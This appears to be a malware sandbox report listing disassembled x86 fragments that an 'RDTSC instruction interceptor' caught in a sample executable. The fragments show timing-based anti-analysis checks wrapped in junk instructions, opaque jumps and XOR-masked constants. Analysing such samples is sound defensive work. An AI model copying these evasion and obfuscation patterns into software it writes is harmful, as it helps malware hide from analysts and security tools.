Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC551 second address: 4FC57D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075CBABED7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c jl 00007F075CBABEDCh 0x00000012 jo 00007F075CBABECCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC82C second address: 4FC83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC83B second address: 4FC850 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075CBABECFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC850 second address: 4FC862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F075D128F02h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FC862 second address: 4FC86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F075CBABEC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCB12 second address: 4FCB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCB18 second address: 4FCB24 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F075CBABEC6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCB24 second address: 4FCB2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF549 second address: 4FF5F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F075CBABECEh 0x0000000b popad 0x0000000c xor dword ptr [esp], 2B447AA4h 0x00000013 mov esi, edi 0x00000015 jmp 00007F075CBABED3h 0x0000001a push 00000003h 0x0000001c mov dword ptr [ebp+122D2980h], esi 0x00000022 push 00000000h 0x00000024 mov dword ptr [ebp+122D2970h], eax 0x0000002a push 00000003h 0x0000002c mov dword ptr [ebp+122D1929h], ebx 0x00000032 push B39EE98Bh 0x00000037 push eax 0x00000038 pushad 0x00000039 jmp 00007F075CBABECFh 0x0000003e pushad 0x0000003f popad 0x00000040 popad 0x00000041 pop eax 0x00000042 xor dword ptr [esp], 739EE98Bh 0x00000049 and esi, 0F9EBAB5h 0x0000004f lea ebx, dword ptr [ebp+124543D9h] 0x00000055 push 00000000h 0x00000057 push eax 0x00000058 call 00007F075CBABEC8h 0x0000005d pop eax 0x0000005e mov dword ptr [esp+04h], eax 0x00000062 add dword ptr [esp+04h], 0000001Dh 0x0000006a inc eax 0x0000006b push eax 0x0000006c ret 0x0000006d pop eax 0x0000006e ret 0x0000006f mov ecx, eax 0x00000071 xor ecx, dword ptr [ebp+122D1B3Eh] 0x00000077 push eax 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF5F2 second address: 4FF5F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF68F second address: 4FF694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF694 second address: 4FF6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F075D128F09h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F075D128F02h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push edi 0x00000016 jbe 00007F075D128EF8h 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop edi 0x0000001f mov eax, dword ptr [eax] 0x00000021 jp 00007F075D128F04h 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007F075D128EF6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF6E4 second address: 4FF6FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F075CBABECFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF6FF second address: 4FF748 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp+122D374Eh] 0x0000000f push 00000003h 0x00000011 add dword ptr [ebp+122D18EBh], esi 0x00000017 jmp 00007F075D128F07h 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D1929h], edi 0x00000024 push 00000003h 0x00000026 add edx, dword ptr [ebp+122D374Ah] 0x0000002c push 49D5F48Fh 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push edi 0x00000036 pop edi 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF748 second address: 4FF74E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF74E second address: 4FF753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF753 second address: 4FF759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF759 second address: 4FF7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 762A0B71h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F075D128EF8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 or cx, C8A2h 0x0000002d lea ebx, dword ptr [ebp+124543E2h] 0x00000033 jmp 00007F075D128EFDh 0x00000038 push eax 0x00000039 pushad 0x0000003a je 00007F075D128EFCh 0x00000040 jp 00007F075D128EF6h 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF7F2 second address: 4FF7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF7F6 second address: 4FF84D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov si, 6152h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D31DCh], edx 0x0000001a call 00007F075D128EF9h 0x0000001f push esi 0x00000020 jmp 00007F075D128F01h 0x00000025 pop esi 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007F075D128F0Eh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF84D second address: 4FF853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF853 second address: 4FF857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF857 second address: 4FF894 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F075CBABED5h 0x00000015 popad 0x00000016 pop edx 0x00000017 mov eax, dword ptr [eax] 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F075CBABED1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF894 second address: 4FF8A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF8A3 second address: 4FF8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F075CBABED7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF8C3 second address: 4FF976 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F075D128EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F075D128EF8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000003h 0x00000028 mov edx, 07CD0769h 0x0000002d mov dh, 2Bh 0x0000002f push 00000000h 0x00000031 xor edi, dword ptr [ebp+122D3916h] 0x00000037 push 00000003h 0x00000039 or dword ptr [ebp+122D1929h], edx 0x0000003f jp 00007F075D128EFCh 0x00000045 call 00007F075D128EF9h 0x0000004a jg 00007F075D128F00h 0x00000050 push eax 0x00000051 jmp 00007F075D128F04h 0x00000056 mov eax, dword ptr [esp+04h] 0x0000005a push esi 0x0000005b jmp 00007F075D128EFBh 0x00000060 pop esi 0x00000061 mov eax, dword ptr [eax] 0x00000063 jmp 00007F075D128F07h 0x00000068 mov dword ptr [esp+04h], eax 0x0000006c push ecx 0x0000006d push ecx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520933 second address: 520938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520938 second address: 520942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F075D128EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520942 second address: 520946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA531 second address: 4EA544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F075D128EFEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA544 second address: 4EA54B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E921 second address: 51E931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F075D128EF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E931 second address: 51E935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E935 second address: 51E951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128EFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F075D128EF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E951 second address: 51E955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E955 second address: 51E966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F075D128EFBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E966 second address: 51E96D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EAAA second address: 51EAC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F075D128F01h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EAC2 second address: 51EACE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F075CBABEC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EACE second address: 51EADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F075D128EFAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EADE second address: 51EAE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F1A7 second address: 51F1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F075D128EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F1B1 second address: 51F1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F075CBABECDh 0x0000000d jmp 00007F075CBABED3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F1D9 second address: 51F1EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 jnc 00007F075D128EF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F1EE second address: 51F214 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F075CBABECBh 0x0000000a pop esi 0x0000000b jbe 00007F075CBABECAh 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jl 00007F075CBABED2h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F214 second address: 51F21A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F505 second address: 51F50C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F50C second address: 51F528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F075D128F00h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F528 second address: 51F536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jnl 00007F075CBABEC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F536 second address: 51F53B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FAD4 second address: 51FB10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F075CBABECDh 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F075CBABEC8h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F075CBABED8h 0x00000019 jno 00007F075CBABEC6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5204E4 second address: 5204E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5204E9 second address: 520503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F075CBABEC6h 0x0000000a popad 0x0000000b push ecx 0x0000000c jg 00007F075CBABEC6h 0x00000012 pop ecx 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520503 second address: 520507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520507 second address: 52050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5239C2 second address: 5239C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5239C8 second address: 5239CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523B4C second address: 523B50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523D8D second address: 523DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F075CBABECAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524DE6 second address: 524E02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F075D128F07h 0x00000008 jmp 00007F075D128F01h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDB5E second address: 4EDB62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EDB62 second address: 4EDB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CFCB second address: 52CFCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CFCF second address: 52CFE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128F04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1DBA second address: 4E1DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F075CBABED7h 0x0000000a pop edi 0x0000000b js 00007F075CBABEEDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C428 second address: 52C43B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C43B second address: 52C43F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CAF2 second address: 52CB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F075D128EF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CB03 second address: 52CB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CB09 second address: 52CB1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F075D128EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CCA3 second address: 52CCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CCA8 second address: 52CCAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CCAE second address: 52CCB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CE19 second address: 52CE1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CE1D second address: 52CE21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F18E second address: 52F195 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F500 second address: 52F514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F075CBABED0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FAA0 second address: 52FAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FAA4 second address: 52FAD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F075CBABECDh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e xor edi, dword ptr [ebp+122D2661h] 0x00000014 movsx edi, si 0x00000017 push eax 0x00000018 pushad 0x00000019 jnc 00007F075CBABEC8h 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FB94 second address: 52FBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F075D128F03h 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FD0B second address: 52FD40 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F075CBABED2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007F075CBABED5h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FE61 second address: 52FE65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FE65 second address: 52FE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FE6B second address: 52FE71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FE71 second address: 52FE75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300F5 second address: 5300FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300FB second address: 530116 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F075CBABEC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D35FEh] 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530116 second address: 53011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
